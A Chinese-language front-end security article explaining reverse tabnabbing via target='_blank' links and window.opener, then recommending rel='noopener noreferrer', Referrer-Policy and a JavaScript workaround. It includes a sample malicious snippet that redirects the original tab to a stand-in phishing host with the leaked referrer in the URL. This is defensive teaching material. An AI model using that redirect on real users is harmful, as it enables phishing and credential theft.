在網頁中使用連接時,若是想要讓瀏覽器自動在新的標籤頁打開指定的地址,一般的作法就是在a
標籤上添加target等於"_blank"
屬性。
然而,就是這個屬性,爲釣魚攻擊者帶來了可乘之機。
parent
與 opener
在說 opener
以前,能夠先聊聊 <iframe>
中的 parent
。javascript
咱們知道,在 <iframe>
中提供了一個用於父子頁面交互的對象,叫作 window.parent
,咱們能夠經過 window.parent
對象來從框架中的頁面訪問父級頁面的 window
。html
opener
與 parent
同樣,只不過是用於 <a target="_blank">
在新標籤頁打開的頁面的。經過 <a target="_blank">
打開的頁面,能夠直接使用 window.opener
來訪問來源頁面的 window
對象。前端
瀏覽器提供了完整的跨域保護,在域名相同時,parent
對象和 opener
對象實際上就直接是上一級的 window
對象;而當域名不一樣時,parent
和 opener
則是通過包裝的一個 global
對象。這個 global
對象僅提供很是有限的屬性訪問,而且在這僅有的幾個屬性中,大部分也都是不容許訪問的(訪問會直接拋出 DOMException
)。java
在 <iframe>
中,提供了一個 sandbox
屬性用於控制框架中的頁面的權限,所以即便是同域,也能夠控制 <iframe>
的安全性。後端
若是,你的網站上有一個連接,使用了 target="_blank"
,那麼一旦用戶點擊這個連接並進入一個新的標籤,新標籤中的頁面若是存在惡意代碼,就能夠將你的網站直接導航到一個虛假網站。此時,若是用戶回到你的標籤頁,看到的就是被替換過的頁面了。跨域
在你的網站 https://example.com
上存在一個連接:瀏覽器
<a href="https://an.evil.site" target="_blank">進入一個「邪惡」的網站</a>
用戶點擊了這個連接,在新的標籤頁打開了這個網站。這個網站能夠經過 HTTP Header 中的 Referer
屬性來判斷用戶的來源。安全
而且,這個網站上包含着相似於這樣的 JavaScript 代碼:微信
const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url);
https://a.fake.site/?https%3A%2F%2Fexample.com%2F
。https://a.fake.site
根據 Query String 來僞造一個足以欺騙用戶的頁面,並展現出來(期間還能夠作一次跳轉,使得瀏覽器的地址欄更具備迷惑性)。https://an.evil.site
的標籤頁,回到原來的網站………………已經回不去了。上面的攻擊步驟是在跨域的狀況下的,在跨域狀況下,opener
對象和parent
同樣,是受到限制的,僅提供很是有限的屬性訪問,而且在這僅有的幾個屬性中,大部分也都是不容許訪問的(訪問會直接拋出DOMException
)。可是與
parent
不一樣的是,在跨域的狀況下,opener
仍然能夠調用location.replace
方法而parent
則不能夠。框架若是是在同域的狀況下(好比一個網站上的某一個頁面被植入了惡意代碼),則狀況要比上面嚴重得多。
<iframe>
中有 sandbox
屬性,而連接,則可使用下面的辦法:
上面的攻擊步驟中,用到了 HTTP Header 中的 Referer
屬性,實際上能夠在 HTTP 的響應頭中增長 Referrer Policy
頭來保證來源隱私安全。
Referrer Policy
須要修改後端代碼來實現,而在前端,也可使用 <a>
標籤的 rel
屬性來指定 rel="noreferrer"
來保證來源隱私安全。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">進入一個「邪惡」的網站</a>
可是要注意的是:即便限制了
referer
的傳遞,仍然不能阻止原標籤被惡意跳轉。
爲了安全,現代瀏覽器都支持在 <a>
標籤的 rel
屬性中指定 rel="noopener"
,這樣,在打開的新標籤頁中,將沒法再使用 opener
對象了,它爲設置爲了 null
。
<a href="https://an.evil.site" target="_blank" rel="noopener">進入一個「邪惡」的網站</a>
noopener
屬性看似是解決了全部問題,可是...瀏覽器的兼容性問題...
能夠看到,如今絕大多數瀏覽器都已經兼容了 rel="noopener"
屬性了。可是,爲了保護稍舊的「近代」瀏覽器或是很舊的「古代」瀏覽器甚至是「遠古」瀏覽器,只有 noopener
屬性仍是遠遠不夠的。
這時,就只能請出下面這段原生 JavaScript 來幫忙了。
"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }
首先,在網站中的連接上,若是使用了 target="_blank"
,就要帶上 rel="noopener"
,而且建議帶上 rel="noreferrer"
。相似於這樣:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">進入一個「邪惡」的網站</a>
固然,在跳轉到第三方網站的時候,爲了 SEO 權重,還建議帶上 rel="nofollow"
,因此最終相似於這樣:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個「邪惡」的網站</a>
最後,再來講說性能問題。
若是網站使用了 <a target="_blank">
,那麼新打開的標籤頁的性能將會影響到當前頁面。此時若是新打開的頁面中執行了一個很是龐大的 JavaScript 腳本,那麼原始標籤頁也會受到影響,會出現卡頓的現象(固然不至於卡死)。
而若是在連接中加入了 noopener
,則此時兩個標籤頁將會互不干擾,使得原頁面的性能不會受到新頁面的影響。
文 / jinliming2
一條對新鮮事物充滿了好奇心的鹹魚編 / 熒聲
本文已由做者受權發佈,版權屬於創宇前端。歡迎註明出處轉載本文。本文連接:https://knownsec-fed.com/2018...
想要訂閱更多來自知道創宇開發一線的分享,請搜索關注咱們的微信公衆號:創宇前端(KnownsecFED)。歡迎留言討論,咱們會盡量回復。
歡迎點贊、收藏、留言評論、轉發分享和打賞支持咱們。打賞將被徹底轉交給文章做者。
感謝您的閱讀。